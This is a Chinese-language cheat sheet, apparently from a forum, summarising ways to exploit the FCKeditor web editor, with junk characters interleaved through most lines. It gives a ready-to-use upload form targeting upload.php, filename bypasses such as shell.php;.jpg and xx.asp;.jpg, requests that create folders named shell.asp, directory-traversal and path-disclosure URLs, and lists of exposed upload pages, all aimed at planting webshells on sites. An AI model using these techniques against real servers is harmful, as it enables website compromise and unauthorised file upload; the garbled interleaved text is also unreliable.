Fckeditor漏洞利用总结
6 M9 n' F$ b& l' q7 m查看编辑器版本
7 `! E- m' @+ l/ P4 M. |4 cFCKeditor/_whatsnew.html+ k8 z; Z3 M6 @" J5 `
—————————————————————————————————————————————————————————————
+ h! c7 f. \$ Y4 r( a+ U/ L. W8 J
2. Version 2.2 版本. f0 h; [4 @( {
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
! P$ a. o4 }0 a, l2 g- E( U. _—————————————————————————————————————————————————————————————4 h3 w. u& m) ^% Z* T1 `
4 c) u- }$ W6 N; [
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。2 j" o6 u) R4 w$ B( D' D( `( Y& a: E2 H
<form id="frmUpload" enctype="multipart/form-data"+ h+ d/ R9 F2 c
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br> S$ A$ q0 r6 R, Q5 N; C! G
<input type="file" name="NewFile" size="50"><br>
4 H9 `. K7 B* u4 L<input id="btnUpload" type="submit" value="Upload">
1 ^) z9 B* `7 ?- I' `# ?</form>3 b( k( P$ G( p3 [7 J! s
—————————————————————————————————————————————————————————————2 d% f! Z! U0 P% c$ }( [
! d1 ]& s0 r$ j0 S5 {4 }4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
2 r3 f; v; O1 p9 P& M. d 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。$ M6 b& j' Y0 z# u4 {
4.1:提交shell.php+空格绕过
4 ^- y6 |. a( ^( N# K7 }. j: T不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。0 X( {! ]2 `; x. M, V! c8 T
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
( `) r& S: N6 u- x6 V+ {—————————————————————————————————————————————————————————————. Y* u0 T) }6 G( _ J2 i2 ?0 l+ V6 N
F7 x9 V3 g* T0 k4 ]$ p5. 突破建立文件夹
7 |, J, W9 [3 Y% ]9 b) A& DFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684) c, ?$ E) `# O7 p: H% @
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
) |. U, y2 b5 h—————————————————————————————————————————————————————————————: ?' j5 ~4 B0 f8 @ W+ m
9 j1 E" X7 {* \1 R5 q' k
6. FCKeditor 中test 文件的上传地址
+ Z0 F; v, X: f U9 ?. nFCKeditor/editor/filemanager/browser/default/connectors/test.html( @" v8 n# d% N9 p: K7 K' W
FCKeditor/editor/filemanager/upload/test.html& X( U3 r6 P6 n& G
FCKeditor/editor/filemanager/connectors/test.html
& R2 R2 {/ f f! NFCKeditor/editor/filemanager/connectors/uploadtest.html
$ f. C# x$ O5 I/ D% g! _0 f( w2 d—————————————————————————————————————————————————————————————' Y3 j* W1 D+ O8 T4 q% D
0 p) j5 {4 h% l4 o
7.常用上传地址
$ d8 W* c" U" E: P( j2 R# @FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/' v* P1 y9 o; C* v: V% i% ?3 J+ `
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp! \+ s% r! A$ d1 n; K& h
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
. a: b/ n, I7 N) h% W ?3 j9 ]1 N( _JSP 版:
" x4 P4 H+ i5 s" I9 N/ x+ rFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp% j+ Z8 W+ t1 F7 X% k! r; W" T" \
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文8 ]; v+ w' G/ w: r! R# z% G; u+ \. f
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。( L" D( E2 ` N% e8 h7 U0 ]
—————————————————————————————————————————————————————————————# W& O( i* j' V. L7 h, A7 v
0 [/ v( {& i8 h# V# M5 C8 j8.其他上传地址) I4 ]; I+ O" K2 ^
FCKeditor/_samples/default.html! ]) v$ ^0 L0 Z9 q% L+ |- B d
FCKeditor/_samples/asp/sample01.asp
4 I# u+ c2 j/ W$ K% D a: OFCKeditor/_samples/asp/sample02.asp" K8 L( R2 T# n( z
FCKeditor/_samples/asp/sample03.asp
- _1 m* y: E. Y, f8 \& LFCKeditor/_samples/asp/sample04.asp, U+ A& i: C& \1 C/ N
一般很多站点都已删除_samples 目录,可以试试。
$ `' D! C" e" M8 GFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。 [4 V7 x' ]. ]
—————————————————————————————————————————————————————————————
1 r1 D3 P n! C( f3 g# i9 U' U, |
+ X& g& r* ^6 V( {# ]3 q1 V( P9.列目录漏洞也可助找上传地址9 M, }& @: c7 K% R+ u
Version 2.4.1 测试通过$ ~* h' Z% g" i5 \; L ^
修改CurrentFolder 参数使用 ../../来进入不同的目录
$ M% O+ m6 E6 O0 k. d/ ]/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
( n9 y0 U$ P9 `; v, f3 { a根据返回的XML 信息可以查看网站所有的目录。
+ H+ |8 U, i, Q) L$ JFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F# s, G Y( g1 B: v x0 ?
也可以直接浏览盘符:
1 x2 L5 l! C3 o MJSP 版本:
* k) p. l5 Q) {- j7 f6 ^ x$ PFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
; z! R8 k8 J* Q+ u: H/ h7 O% N—————————————————————————————————————————————————————————————$ S/ A0 M# S* N! w3 t- x' U
1 E: K" q- g& G5 ~7 D
10.爆路径漏洞5 Q) \1 A7 M2 v; O
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
6 z% Y* _ P$ t9 F—————————————————————————————————————————————————————————————+ J9 g8 R7 U4 q% e5 [$ F) b
( _% L! [( A! D
11. FCKeditor 被动限制策略所导致的过滤不严问题+ N0 I7 J3 C3 X
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
$ X) R# V- D' r2 ]9 \+ x0 S脆弱描述:+ v( B2 Q( p0 Q A
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
& d$ x; T. J6 B5 \, bhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
& ~8 W/ F8 f/ R& g6 s% C0 tFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
5 A) O8 { l) B' I 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
5 P- q3 R4 q8 }9 E 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!- R% E7 ~, R- K9 f w# Z
—————————————————————————————————————————————————————————————6 C$ T& S6 u! \+ H& Q _$ f z
$ ~8 I- `9 e# q0 V2 a' Q6 Y) q% x12.最古老的漏洞,Type文件没有限制!% w2 i$ x- Z1 t e
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
- a3 m( E) h8 c* S—————————————————————————————————————————————————————————————
9 D+ A" h0 X+ Z
; w, j* o: v; a* A" B4 O===============================================================================================================================================
$ f# S2 ~5 t0 q: K6 R+ J! T. w2 _ u6 w
FCK编辑器jsp版本漏洞:; b4 z: g+ N6 D# D5 w
% E7 C0 m0 M2 [8 C9 X( r
# \; P. Z6 {& S" r) Ihttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
5 {- {. P3 m% J, }' f5 l- }6 H2 s& ^/ f1 l& [- H S% S/ w
上传马所在目录. y* j* m; h* o3 \, \2 c
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
% |2 |: L( }8 ?+ ]8 s" ]* Y( k上传shell的地址:
) M! h+ @3 B. j0 v# B% ~http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector1 d- ?! X+ ^, r
跟版本有关系.并不是百分百成功. 测试成功几个站.! d; A( J+ w) w0 J8 z* r
不能通杀.很遗憾.3 w. I( H0 K% T s: f
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
6 ]; K9 s2 g2 v; r3 e `如果以上地址不行可以试试) N* W$ H/ D- j7 b- }/ t
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
6 Y' m+ `. T- \FCKeditor/_samples/
0 f3 _ [7 ?" N6 X* o" e3 A$ H# ?FCKeditor/_samples/default.html; ]- K2 @8 B, X& n M0 @7 E5 N1 Y# j
FCKeditor/editor/fckeditor.htm
8 |4 k' U9 O3 r+ K" _5 D4 QFCKeditor/editor/fckdialog.html" y8 C" X" m% }$ {2 ^; `2 ^. o- Y
. Q$ J" t8 U5 S0 o$ l$ C4 ]& S* W5 Y3 A
5 \! m9 \* r* q. M# v$ L9 H; }) d) x解析漏洞+未重命名文件时上传漏洞 1.asp;jpg" |0 e4 T# A" E4 A# J
|